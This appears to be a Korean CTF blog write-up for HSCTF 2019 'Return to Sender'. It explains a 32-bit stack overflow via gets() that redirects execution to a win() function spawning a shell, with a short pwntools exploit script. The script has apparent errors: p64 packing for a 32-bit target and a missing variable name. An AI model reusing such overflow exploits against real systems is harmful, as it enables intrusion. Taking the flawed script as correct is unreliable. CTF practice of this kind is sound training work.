SDJ( 수돈재 아님 ㅎ )

HSCTF 2019 - Return to Sender 본문

write-up/pwnable

HSCTF 2019 - Return to Sender

ShinDongJun 2019. 9. 16. 21:34

32bit 바이너리에 아주 간단한 bof문제이다.

 

 

vuln()함수에서 gets(&s); 에서 bof가 발생한다.

 

게다가 system("/bin/sh");도 주어줬으므로 ret에 win()함수를 넣어주면 되겠다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= process('./return-to-sender')
 
win = 0x080491B6
 
pay = ''
pay += 'a'*0x10
pay += 'bbbb'
pay += p64(win)
p.sendlineafter("today? ", pay)
 
p.interactive()

 

'write-up > pwnable' 카테고리의 다른 글

NACTF 2019 - BufferOverflow #0  (0) 2019.09.23
HSCTF 2019 - Storytime  (0) 2019.09.16
HSCTF 2019 - Combo Chain  (0) 2019.09.16
HSCTF 2019 - Combo Chain Lite  (0) 2019.09.16
DefCamp CTF Qualification 2019 - secret  (0) 2019.09.14
Comments